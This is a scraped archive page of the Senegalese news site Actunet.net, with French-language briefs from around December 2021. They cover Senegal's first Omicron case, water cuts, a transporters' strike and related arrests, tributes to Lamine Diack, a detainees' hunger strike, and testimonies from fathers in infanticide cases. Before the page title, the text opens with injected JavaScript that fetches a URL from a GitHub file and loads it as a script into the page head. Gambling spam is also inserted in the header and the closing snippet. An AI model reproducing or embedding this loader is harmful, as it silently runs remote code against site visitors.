;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Accueil | Actunet.net | Les dessous de l’actualité | Page 1652
jetx ван вин plinko aviator aviator game 1win casino mostbet 1xbet.com jet x apostas
1win
Accueil Blog Page 1652

Variant Omicron : le Sénégal enregistre son premier cas positif

L’alerte sonne ferme et porte les empreintes de l’Institut de recherche en santé, de surveillance épidémiologique et de formation (Iressef). Cette structure pilotée par le professeur Souleymane Mboup a annoncé la présence du variant ‘’Omicron’’ dans le pays.

«L’Iressef grâce à son laboratoire de génomique a détecté le premier cas positif au variant Omicron ce vendredi 03 Décembre 2021 chez un voyageur sortant. Il s’agit d’un homme de 58 ans, arrivé au Sénégal le lundi 22 novembre 2021 par un vol en provenance d’un pays de la sous-région. Il a été vacciné le 13 avril 2021 avec AstraZeneca et le 25 juin avec Pfizer», explique l’Iressef dans un communiqué. Le document de préciser que «le  patient a séjourné à Dakar dans un hôtel de la place et a participé à une manifestation qui a regroupé près de trois cents personnes de plusieurs nationalités. La manifestation s’est déroulée du 24 au 25 novembre 2021».

«Les résultats étant positifs à Iressef Ngor, le cas a été isolé en quarantaine et suivi dans un centre de la place. A la date du 04 décembre 2021, ce cas positif au variant Omicron ne présente aucun symptôme», ajoute la note

Pour rappel, l’Institut de Recherche en Santé, de Surveillance Épidémiologique et de Formations (Iressef), depuis sa création, appuie l’Etat sur ses politiques de santé dans le diagnostic des maladies infectieuses afin d’améliorer la prise en charge des patients.

Entretien à l’usine de Ngnith : La Sen’Eau annonce des perturbations pour le week-end

Des perturbations sur la fourniture en eau potable ont été annoncées par la société en charge, la Sen’Eau, pour ce week-end. Les zones concernées sont une partie de Dakar et sa banlieue, les régions de Thiès et de Louga, informe la société dans un communiqué rendu public ce vendredi.
 
Et pour cause ! La Sen’Eau annonce des travaux d’entretien à l’usine de production sise dans le village de Ngnith, dans le Walo. Les usagers de la Sen’Eau devront prendre ainsi les dispositions nécessaires.

Acte de vandalisme à Diourbel: Les 7 acteurs du transport arrêtés, placés sous mandat de dépôt et jugés le…

C’est la descente aux enfers pour les 7 manifestants arrêtés hier à Diourbel par la police lors du mouvement d’humeur des transporteurs et chauffeurs !
En effet, déférés ce vendredi matin au parquet de cette localité, ces derniers ont été tous placés sous mandat de dépôt par le procureur. Ces grévistes sont poursuivis pour rassemblement illicite causant des dommages publics d’après des sources de Seneweb.
“Les 7 individus interpellés, jugés jeudi prochain”
Ainsi, les 7 acteurs du transport arrêtés hier par les éléments du commissariat central de Diourbel, vont passer leur première nuit dans la citadelle du silence où ils vont méditer sur leur sort, au fond de leur cellule.
Toutefois, ils seront jugés jeudi prochain en flagrant délit selon des informations de Seneweb proches du dossier.
A noter que, des échauffourées
ont opposé hier manifestants et policiers dans les rues de Diourbel où des vitres et pare-brises de deux bus de Sénégal Dem Dik ont été saccagés par les grévistes.

Mbour/Accidents de la circulation : Les motos Jakarta sèment la zizanie sur les routes

Un conducteur de moto Jakarta a été écrasé, ce matin, devant le tribunal de Grande instance de Mbour, par un minicar.
Le conducteur de la moto a rendu l’âme sur le coup. Il a été acheminé à l’hôpital de Grand-Mbour.
 
Avec un second accident en moins de 48 h, il faut dire que la grève des transporteurs semble ne pas être sans effet. Avec ce mouvement d’humeur, les motos Jakarta ont pris la relève des automobilistes. 
 
Aucune autre alternative ne s’offrant aux usagers, ces derniers sont obligés de prendre les motos Jakarta, qui semblent mettre en danger leurs vies. 
 
La semaine dernière, plus de cinq conducteurs de motos Jakarta ont été jugés au tribunal de Mbour pour défaut de maitrise et homicide involontaire. Ils s’en sont sortis avec des peines de sursis.
 
En effet, bon nombre de conducteurs ne maîtrisent pas le code de la route. Pis encore, ils ne détiennent pas de permis de conduire. Avec cette grève, les conducteurs de motos ont pris d’assaut la circulation qu’ils gèrent depuis trois jours.

L’hommage de Khalifa Sall à Lamine Diack : “Il fut pour moi un père”

Khalifa Sall a rendu un hommage posthume à l’ancien patron de la Fédération internationale d’athlétisme (1999-2015).
 
“J’ai appris avec une vive émotion le décès du président Lamine Diack. Il fut pour moi un père, un responsable politique et un ami. Premier président de la Confédération africaine d’athlétisme et ancien président de l’IAAF, Lamine Diack était un pilier du mouvement sportif sénégalais, africain et mondial”, témoigne l’ancien maire de Dakar, Khalifa Sall. 
 
Ainsi, il affirme qu’avec le rappel à Dieu du défunt, “le Sénégal perd un grand serviteur de l’Etat qui fût tour à tour Président du conseil municipal de Dakar, Secrétaire d’état à la jeunesse et aux sports et Député vice-président à l’Assemblée nationale”.
 
Il conclut : “Malgré toutes les difficultés qu’il a traversées ces dernières années, il a fait preuve de foi, de courage et de dignité devant l’épreuve. Je m’incline pieusement devant sa mémoire et prie pour le repos de son âme. Mes sincères condoléances à sa famille, au mouvement sportif et à tous les Sénégalais”.

Affaire Boffa Bayotte : Les détenus entament une grève de la faim illimitée à partir de…

Le groupe de personnes détenues à la Maison d’arrêt et de correction (Mac) de Ziguinchor, dans le cadre de l’enquête sur le massacre de Boffa Bayotte, reprennent l’arme de la diète pour s’indigner de la longue détention préventive qu’elles subissent depuis bientôt quatre ans.

Ces détenus ont décidé d’entamer une nouvelle grève de la faim, à partir de lundi prochain, pour exiger la tenue de leur procès depuis 2018. Ils sont donc en prison sans être jugés. L’annonce a été faite par le collectif qui regroupe leurs familles.

Cette décision de ne plus s’alimenter et de manière illimitée inquiète particulièrement les parents qui tiennent l’Etat pour responsable de tout ce qui adviendrait.

«Ils avaient décrété une première grève de la faim et personne n’avait pipé mot. Ils ont alors décidé de faire une deuxième grève de la faim et cette fois-ci, ils ont décidé d’aller jusqu’au bout et cela nous fait peur», a fait savoir Seckou Bodian, porte-parole des familles des détenus, sur les ondes de la Rfm.

«Nous interpellons l’Etat du Sénégal pour qu’il prenne ses responsabilités. Ils seront coupables de tout ce qui arrivera à nos parents. Nous exigeons leur libération immédiate et que justice soit faite pour que les vrais coupables soient punis», a-t-il fulminé.

Thierno Bocoum sur la grève des transporteurs : ” L’heure n’est pas à l’étalage des égo, ni aux rapports de force crypto-personnels

Le leader du mouvement Agir n’a pas tardé à réagir à la grève des transporteurs observée sur l’échelle nationale depuis presque plus de deux jours. Thierno Boccoum, dans un communiqué, estime que cette grève porte un préjudice énorme à l’économie nationale et aux ménages. 
 
Sur ce, il précise qu’une réponse rapide et urgente doit être trouvée avec une implication active et responsable des acteurs à la table de négociations. L’ancien parlementaire pense que “l’heure n’est pas à l’étalage des égo et aux rapports de force crypto-personnels, car ce statut quo réduit considérablement le pouvoir d’achat des ménages qui vivent au jour le jour, met en danger la vie des malades incapables de se déplacer pour retrouver leurs soignants tout en installant une situation d’insécurité économique et sociale préjudiciable au Sénégal”. 
 
Il invite l’Etat du Sénégal à respecter ses engagements auprès des transporteurs et trouver des solutions idoines et définitives à leurs revendications.
 
Par ailleurs, le leader de Agir exhorte les transporteurs à dépasser les exigences de représentativité car les différents ministres qui doivent intervenir dans la résolution de leurs revendications sont tous, sous l’autorité d’un chef d’Etat. Donc, que ce dernier soit représenté par un ou plusieurs ministres n’est pas important. Avant d’ajouter : “l’essentiel est que des directives claires adressées à ses services puissent suivre une volonté réelle de trouver des solutions aux légitimes revendications des transporteurs”.

Décès Lamine Diack : “Il a rendu d’éminents services au sport”, (Mamadou Lamine Diallo)

Suite au décès de Lamine Diack, Mamadou Lamine Diallo du mouvement Tekki a posté sur sa page Facebook un message de condoléances adressé au monde sportif et au peuple sénégalais. 
 
“Il a rendu d’éminents services au sport et à la jeunesse de ce pays dont il fut le premier commissaire après mai 68. Qu’Allah le Miséricordieux l’accueille en son paradis firdawsi”, écrit le leader de Tekki. 
 
Lamine Diack est mort à l’âge de 88 ans, dans la nuit du jeudi à vendredi.

Infanticides : Récits poignants de jeunes parents dont les enfants sont tués par leurs copines

Au Sénégal, les coupables d’infanticide ont fait l’objet de tous les procès, mais rarement il a été fait cas des hommes, auteurs de leurs grossesses. Comment vivent-ils le meurtre de leur enfant ? Quelle est leur part de responsabilité ? Ont-ils assumé la grossesse ? Comment accueillent-ils la nouvelle du meurtre de leur enfant ? Dénoncent-ils leurs amantes coupables ou sont-ils mis devant le fait accompli ? A l’heure où beaucoup spéculent sur le sort des femmes coupables d’infanticide, L’Observateur s’est intéressé aux pères, ces mâles souvent épargnés durant ces tragédies.

Une idylle démoniaque qui prend fin plus tôt que prévu…

Il ne se remet toujours pas de sa douleur. Quinze ans après, Pape S., charretier vivant à Palène, dans le département de Kébémer, couve encore sa peine. L’air pensif, le regard perdu dans le vague, Pape a pardonné, mais peine à oublier. Oublier ce drame qui a troublé à jamais sa vie une matinée de l’an 2000 où la douloureuse nouvelle s’est abattue sur sa tête. Comme un couperet. Pape a payé du prix du sang sa relation adultérine avec la femme de son ex-employeur. Son enfant né de cette relation coupable a été l’agneau du sacrifice.

Aujourd’hui, plus de 20 ans plus tard, il s’en rappelle, une boule à la gorge. «Vers les années 2000, je travaillais comme saisonnier pour le compte d’un vieux émigré vivant en Espagne. Je logeais chez lui et j’étais bien traité par sa deuxième femme. Celle-ci me considérait comme son oncle. Elle faisait tout pour moi. Chaque nuit, elle me donnait à manger. Parfois, elle me taquinait en me demandant d’aller conquérir les jeunes femmes divorcées du village. Je lui rétorquais toujours que j’étais un homme marié qui travaille dur pour nourrir sa famille.»

Au fil des jours, la complicité grandit entre les deux. Tombée sous le charme du saisonnier, la jeune femme ne se cache plus et avoue ses sentiments au saisonnier. Une idylle naît entre les deux et aboutit à une relation amoureuse nouée en toute discrétion.

«Nous vivions le parfait amour à l’insu de tout le village, car elle attendait la tombée de la nuit pour venir me rejoindre dans ma chambre. Parfois, quand elle se rendait au marché hebdomadaire de Kébémer, elle me demandait de conduire la charrette. Nous en profitions pour passer du bon temps ensemble.»

Malheureusement, l’idylle prend fin plus tôt que prévu. Obligé de rentrer chez lui, à Diourbel, Pape S. rompt avec sa dulcinée qui, quelques semaines plus tard, l’appelle pour lui annoncer sa grossesse. Pape S. tombe des nues. Incrédule, il décide tout de même d’assumer. En toute responsabilité.

«Comme je savais qu’elle était mariée, je lui ai conseillé d’aviser son mari, car j’étais disposé à baptiser l’enfant. A ma grande surprise, elle a déversé sa bile sur moi en me taxant de traitre. Je voulais la raisonner, mais elle ne voulait pas m’écouter. Pis, elle a coupé tout contact avec moi. J’ai essayé à plusieurs reprises de la joindre, en vain. Quelques mois plus tard, j’ai appris qu’elle est retournée chez ses parents dans la région de Saint-Louis. J’ai compris qu’elle voulait cacher sa grossesse.»

Pensant que l’histoire s’en était arrêtée-là, Pape S. tourne la page. Grande fut sa surprise quand, en 2014, Pape S. reçoit l’appel d’un gendarme lui demandant de déférer à une convocation. Des nœuds au ventre, Pape S. se présente devant les gendarmes et manque de s’évanouir quand ces derniers lui annoncent que son amante avait été arrêtée pour avoir commis un infanticide.

«Le ciel m’est tombé sur la tête. Jamais je n’aurais cru Amy* capable d’une telle ignominie, d’une telle horreur. Elle avait tué notre garçon que j’étais décidé à reconnaître et à lui donner mon nom. Si j’avais imaginé un instant qu’elle arriverait à cet extrême, je l’aurais dénoncée parce que la vie est sacrée. Cet enfant-là, même s’il est issu d’une relation adultérine, avait droit à la vie.»

Relaxé au bout d’une rude journée d’interrogatoire, Pape S. qui avait tout confié aux enquêteurs, réitérera sa déclaration à la barre du tribunal lors du procès de la dame qui en tirera 5 ans. «Je l’ai revue pour la dernière fois au procès. J’ai appris qu’elle s’était remariée, à sa sortie de prison, à Touba et depuis, je n’ai plus eu de ses nouvelles. Pourtant durant son incarcération, je lui ai rendu visite à la prison, mais elle a refusé de me recevoir. Je lui ai pardonné son crime, mais je n’oublie pas.»

«Sur insistance de son oncle, elle finira par tuer notre bébé»

G. D. n’a eu que ses yeux pour constater l’irréparable. La quarantaine dépassée, l’homme dont la copine s’est débarrassée du fruit de leur amour, peine aujourd’hui encore, à digérer ce qu’il considère comme une «trahison». L’affaire remonte à il y a 24 ans, mais c’est comme si c’était hier.

Les traits défigurés par l’émotion, il souffle : «C’était en 1997. Je sortais avec une fille du quartier, F. Diémé, originaire de la région du Sud. Elle travaillait comme aide-ménagère pour ma mère et vivait avec sa grand-mère et son oncle. Elle avait 19 ans et nous étions fous amoureux. Pour ne pas commettre l’irréparable, mon père m’a demandé de la prendre comme épouse. J’en ai discuté avec elle d’abord avant de m’en ouvrir à son oncle qui m’a demandé de patienter, le temps qu’il en parle aux parents de ma dulcinée.»

Confiant, G. D. déchante quand les parents de la fille lui opposent un niet catégorique sous le prétexte que leur fille était déjà promise à un cousin au village. G.D ne l’entendra pas de cette oreille. Décidés à vivre leur amour en faisant fi de l’opposition des parents de sa dulcinée, G.D, d’un commun accord avec F. Diémé, concocte un plan qui consistait à engrosser la fille. Pensant sa dulcinée acquise et que ses «beaux-parents» ne s’opposeront plus à leur union¸ G.D est sur son nuage. «Tout se passait comme prévu, mais c’était sans compter avec la famille de F. Diémé qui campait toujours sur leur décision et qui ne cessait de la menacer.»

F. Diémé ne résistera pas longtemps. Un matin, G. D. est réveillé par un ami qui lui signale la présence des sapeurs-pompiers et des policiers devant le domicile de sa dulcinée. Au dehors, la nouvelle le clouera sur place. Face à la pression familiale, F. Diémé avait fini par franchir le Rubicon en abrégeant la vie de son nouveau-né. G. D. : «Ces images resteront à jamais gravées dans ma tête. Je suis tombé sur la scène des sapeurs qui venaient de repêcher de la fosse septique le corps sans vie d’un nouveau-né de sexe masculin avant de l’envelopper dans un sac en plastique.»

Optimiste, G. D. nie l’évidence. Ce n’est qu’une fois qu’il apercevra sa copine dans la fourgonnette de la police, menottée, en compagnie de son oncle, qu’il réalisera l’horreur. «J’ai compris qu’il s’agissait de mon gamin. Sur le coup, je ne ressentais plus mes jambes et j’ai failli tomber à la renverse. Ce n’est que des heures plus tard qu’un gamin qui habitait la maison de F. Diémé, m’a raconté ce qui s’était passé.» Au cours de la nuit, tenaillée par les douleurs de l’accouchement, F. Diémé donnera naissance à un garçon. Mais, sur insistance et assistance de son oncle, elle finira par tuer le bébé avant de simuler un avortement.

«C’était une lourde trahison. Jusqu’à présent, je ne m’en suis pas remis. Je l’avais accompagnée tout au long de la grossesse. Je subvenais à ses moindres besoins. Après sa condamnation et son emprisonnement à 5 ans ferme, j’ai coupé les ponts avec elle. Je n’avais plus envie de la revoir et l’amour que je ressentais pour elle s’est comme dissipé. Au début, je pensais que c’était son oncle qui l’avait poussée à agir de la sorte, mais c’était une décision personnelle, car F. Diémé m’a fait savoir qu’elle ne voulait pas décevoir ses parents en faisant fi de mes sentiments. Ma douleur et ma déception étaient inénarrables.»

«Je ne m’explique toujours pas comment elle a pu…»

«Personne ne peut imaginer ce que l’on ressent et vit après ce genre de drame», embraie B. Ndione. «Quand j’ai appris que ma copine avait tué de sang-froid notre bébé, j’ai eu l’impression que le sol se dérobait sous mes pieds, car la déception était grande», pleure B. Ndione. Le drame que B. Ndione se remémore aujourd’hui remonte en 2002. C’est au courant d’une matinée qui s’annonçait ordinaire qu’il a appris la nouvelle.

«J’étais dans ma chambre, en train de dormir et un ami est venu toquer à ma porte. On a discuté un peu et je m’apprêtais à faire le thé, mais il m’a retenu en me disant qu’il avait une mauvaise nouvelle à m’annoncer. Dans un premier temps, je pensais qu’il voulait m’annoncer le décès d’un proche. Mais tel n’était pas le cas. Il m’a demandé de m’asseoir et je l’ai vu chercher ses mots. Après quelques secondes, il m’informe que ma copine F. Gningue venait d’être arrêtée par la Gendarmerie», confesse B. Ndione.

Pensant à une banale dispute qui a atterri à la gendarmerie, B. Ndione n’en fait pas trop cas. Jusqu’à ce que son ami lui apprenne que sa copine venait de mettre un terme à sa grossesse, d’après les gendarmes. Cette arrestation sera suivie par la convocation de B. Ndione.

«J’ai dit aux gendarmes que j’étais l’auteur de la grossesse et que nous avions décidé de garder l’enfant. Au début, elle avait refusé catégoriquement sous le prétexte que, si ses proches apprenaient sa grossesse, elle serait la risée de toute la famille. Mais je pensais que j’avais réussi à la convaincre de garder le bébé. Donc, je ne saurais expliquer son acte», témoigne-t-il.

«Selon les éléments de l’enquête, elle a accouché la nuit avant d’étouffer le nouveau-né de ses propres mains. Par la suite, elle a essayé d’enterrer le corps dans un trou non loin de leur maison. Ce sont les enfants qui jouaient au football qui ont découvert le corps sans vie du nouveau-né. C’était terrible, mais en père légitime de l’enfant, j’ai demandé et obtenu de la police de me livrer le corps de mon enfant après autopsie pour que je puisse l’enterrer dignement. Il n’avait pas demandé à naître et je l’ai conçu avec amour.»

Raison pour laquelle, les mois qui suivirent le drame, furent un véritable cauchemar pour lui. Alors que sa copine purgeait sa peine en prison, lui a vécu les pires mois de sa vie. «J’ai passé trois mois très difficiles. Je ne fermais pas l’œil durant la nuit. Le visage angélique de mon fils, figé à jamais par la mort, emplit encore mes nuits. Il semblait si fragile emmailloté dans son linceul quand je l’ai déposé dans sa tombe. Le choc post traumatique était terrible et cela se ressentait même dans mon travail de mécanicien. Jusqu’à présent, F. Gningue ne m’a pas expliqué les raisons de son crime. Et même si je ne le dis pas, j’avoue que je ne suis pas sorti indemne de ce drame qui m’a marqué à vie.»

Ousmane Sonko sur le décès de Lamine Diack : «Nous avions convenu, il y a deux mois, d’une entrevue»

Le leader du Pastef regrette le décès de l’ex-président de l’IAAF, Laminé Diack. Ousmane Sonko indique à ce propos qu’il y a deux mois, les deux hommes s’étaient donné rendez-vous. 
 
«Une entrevue qui n’avait malheureusement pu se concrétiser à cause de son état de santé», regrette Sonko tout en rappelant les rapports étroits qu’il entretenait avec M. Diack.
 
«Il prenait régulièrement de mes nouvelles auprès de Serigne Abdou Mbacké, qui était son confident : ‘As6tu des nouvelles de mon collègue ?’, se plaisait-il à lui dire». 
 
Poursuivant, Sonko témoigne sur le parcours de Lamine Diack en tant qu’inspecteur des impôts. «Lamine Diack, pour ceux qui l’ignorent, était inspecteur des impôts et des domaines de profession. L’un des pionniers sénégalais dans le corps. Il fut grand patron des impôts et domaines de Dakar, en des temps où cela s’étendait de Yenne au Plateau. Et ses collègues ont témoigné qu’il en est parti sans avoir accaparé un seul mètre carré à son profit».
 
À l’instar d’autres responsables politiques, Ousmane Sonko reste convaincu que «le Sénégal vient, sans conteste, de perdre l’un de ses plus illustres fils».
Bac 2024 à Kaolack : 64 candidats détenteurs de téléphones exclus crazytime Quelque 64 candidats au baccalauréat ont été expulsés aujourd’hui par le président glory casino online du jury 1506 du centre nouveau lycée de Kaolack pour détention
1win